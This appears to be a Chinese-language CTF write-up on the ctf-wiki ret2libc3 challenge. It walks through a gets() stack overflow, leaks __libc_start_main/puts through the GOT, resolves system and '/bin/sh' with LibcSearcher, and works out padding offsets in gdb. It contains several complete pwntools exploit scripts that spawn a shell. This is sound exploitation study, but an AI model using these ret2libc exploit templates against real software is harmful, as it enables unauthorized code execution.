主要借鉴wp
pwn学习之ret2libc3——偏移计算初体验https://www.jianshu.com/p/5525dde00053
适合新手的ret2libc3之路https://blog.csdn.net/qq_41918771/article/details/90665950
泄漏libc获取shell的模板https://blog.csdn.net/qq_38204481/article/details/80329676
Ret2libc3 https://www.jianshu.com/p/cd8864615288
ret2libc3 https://www.jianshu.com/p/df8645e63365
ret2libc3地址泄露https://blog.csdn.net/weixin_44642009/article/details/88630028
PWN学习，对CTF-wiki上的讲解进行一些补充https://blog.csdn.net/qq_33948522/article/details/93880812
wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
开了堆栈不可执行保护
IDA main函数F5
有gets函数，漏洞为栈溢出(申请64h大小，但是gets无限制）
没有system函数也没有binsh，要通过libc的函数相对偏移找出system()的真实地址
那么我们如何得到 system 函数的地址呢？这里就主要利用了两个知识点：
- system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。（记住公式：A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址！）
- 即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的 12 位（三位十六进制位）并不会发生改变。而 libc 在 github 上有人进行收集，如下：https://github.com/niklasb/libc-database
所以如果我们知道 libc 中某个函数的地址，对比最低12位，那么我们就可以确定该程序利用的 libc。
一般是采用 got 表泄露的方法来得到某函数地址，即输出某个函数对应的 got 表项的内容。当然，由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。
plt表：跳板，跳转到一个地址来加载libc库。文件中会对每个用到的函数分配一个plt函数
got表：经过plt表的跳转会在got表上写入地址，这个地址是函数调用的真实地址
注意：plt表只在程序调用函数之前有用，调用函数之后第二次执行这个函数就不会经过plt表。
我们自然可以根据上面的步骤先得到 libc，之后在程序中查询偏移，然后再次获取 system 地址，但这样手工操作次数太多，有点麻烦，这里给出一个 libc 的利用工具，具体细节请参考 readme
- https://github.com/lieanu/LibcSearcher
此外，在得到 libc 之后，其实 libc 中也是有 /bin/sh 字符串的，所以我们可以一起获得 /bin/sh 字符串的地址。
这里泄露 __libc_start_main 的地址，这是因为它是程序最初被执行的地方（所以肯定已经执行过）。基本利用思路如下：
1、泄露 __libc_start_main 地址
2、获取 libc 版本
3、获取 system 地址与 /bin/sh 的地址
4、再次执行源程序
5、触发栈溢出执行 system(‘/bin/sh’)
下面开始干活
gdb爆偏移
gdb ret2libc3
cyclic 200（复制有规律乱码）
r
(把有规律乱码粘贴)
cyclic -l 0x62616164(报错地址)
上脚本
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
elf = ELF('./ret2libc3') #以ELF为格式创建对象
puts_plt = elf.plt['puts']#puts的plt表的地址，我们需要利用puts函数泄露
libc_start_main_got = elf.got['__libc_start_main']#函数的真实地址，即我们要泄露的对象
main_plt = elf.symbols['main']#返回地址被覆盖为main函数的地址，再次执行main，以求再次溢出
print "puts_plt =",hex(puts_plt)
print "libc_start_main_got =",hex(libc_start_main_got)
print "main_plt =",hex(main_plt)
print "leak libc_start_main_got addr and return to main again"
#调用puts函数，打印泄漏libc_start_main函数的地址，最后返回main函数
payload = ''
payload += 'A'*112
payload += p32(puts_plt)#覆盖返回地址为puts函数
payload += p32(main_plt)#这里是puts函数返回的地址
payload += p32(libc_start_main_got)#这里是puts函数的参数
sh.sendlineafter('Can you find it !?', payload)
#p.recvuntil(’Can you find it !?’)#接收掉原文件的输出语句内容，如果不接收，则输入的payload便无法与之交互，文件的执行就会一直处于等待状态
#p.sendline(payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])#同u32(p.recv(4))，交互时接受返回的地址，由于是32位的文件，recv(4)是指只接收四个字节的信息，因为泄露的地址信息只存在于前四个字节，u32是指解包unpack，将一块数据解包成四个字节
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
#libc_binsh=next(libc.search("/bin/sh"))或binsh_libc = libc.search('/bin/sh').next()
print "libcbase =",hex(libcbase)
print "system_addr =",hex(system_addr)
print "binsh_addr =",hex(binsh_addr)
print "getshell"
payload = ''
payload += 'A'*104
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
main_plt = elf.symbols['_start']的差异
有的人main函数返回时用的是main_plt = elf.symbols['_start']，从以下文章得知，_start调用了__libc_start_main，__libc_start_main调用了main。用main_plt = elf.symbols['_start']的人第二次填充依旧是112，但是直接用main_plt = elf.symbols['main']的第二次填充个数为104。
https://blog.csdn.net/z_ryan/article/details/80985101
__start 这个符号是程序的起始
main 是被标准库调用的一个符号
_start由汇编代码实现。大致用如下伪代码表示：
void _start()
{
%ebp = 0;
int argc = pop from stack
char ** argv = top of stack;
__libc_start_main(main, argc, argv, __libc_csu_init, __linc_csu_fini,
edx, top of stack);
}
第二次填充104的解释
在这里解释一下为什么是104，其实我也不太知道，参考了以下文章，只是跟着他做
ret2libc3地址泄露https://blog.csdn.net/weixin_44642009/article/details/88630028
先贴一下这位作者的脚本（我略改了一下），他是泄露puts函数的，道理同，可以看见他在发送第一次payload后下了断点进行gdb调试
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import * #库函数LibcSearcher
import pwnlib#能够进行动态调试
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./ret2libc3')
elf=ELF('./ret2libc3')
main=0x08048618
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
gdb.attach(p)
p.recvuntil('?')
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload='a'*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
我运行他的脚本，跟着他gdb，多次输入n跟到这里
可以看到填充个数为EBP+0x4-(ESP+4)=0xffc0e300+0x4-(0xffc0e280+0x1c)=0x68=104，我不知道这里的0x1c是什么意思，为什么要减掉它，希望得到指点。
把我自己的脚本改一下跟着他做，结果也是104
我的改后版本，加了断点
#-*-coding:utf-8-*-
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib
context.terminal=['gnome-terminal','-x','sh','-c']
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_plt = elf.symbols['main']
print "puts_plt =",hex(puts_plt)
print "main_plt =",hex(main_plt)
print "leak libc_start_main_got addr and return to main again"
payload = ''
payload += 'A'*112
payload += p32(puts_plt)#覆盖返回地址为puts函数
payload += p32(main_plt)#这里是puts函数返回的地址
payload += p32(libc_start_main_got)#这里是puts函数的参数
gdb.attach(sh)
sh.sendlineafter('Can you find it !?', payload)
#p.recvuntil(’Can you find it !?’)
#p.sendline(payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "libcbase =",hex(libcbase)
print "system_addr =",hex(system_addr)
print "binsh_addr =",hex(binsh_addr)
print "getshell"
payload = ''
payload += 'A'*104
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
可以看到填充个数为EBP+0x4-(ESP+0x1c)=0xff8322a0+0x4-(0xff832220+0x1c)=0x68=104
看了这篇文章得到了一些关于104的启发
https://blog.csdn.net/qq_33948522/article/details/93880812
原来ESP+0x1c是IDA中显示的覆盖起始位置，这就不难理解填充个数为EBP+0x4-(ESP+0x1c)
还有一种方法是：
试错法
别人认为一开始时先写112，调试发现EIP=AAAA，ESP=AAAA，正常的应该是EBP被覆盖，EIP为ret指令要返回的位置，ESP为栈中ret上方的内容。故多了8个A，正确的应覆盖的大小为112-8=104
但是我觉得这样好像不严谨，因为只要输入比正确的填充个数多8个及以上，那输出的EIP和ESP都是AAAA，所以我试着把它混入一个B，我觉得这样才能真正确定要减回几个
把代码
payload += 'A'*112
改成
payload += 'A'*111+'B'
看到ESP变成了AAAB，现在我才能放心减8
手动选libc版本
对了，忘了说还有一点，运行后我们可能会遇到返回多个libc版本库的情况，人家原话是
可以通过add_condition(leaked_func, leaked_address)来添加限制条件，也可以手工选择其中一个libc版本（如果你确定的话）。
因为我不会用add_condition，所以就一个一个去手动选，这里如果有工具查到libc版本就最好（貌似那个叫libc database search的东西被502 bad gateway了），手工试出来真正的版本是2，libc6_2.23-0ubuntu10_i386。
如果用LibcSearcher在终端输命令的话，也会找到4个版本，道理跟上面是一样的。
最后成功交互是这个亚子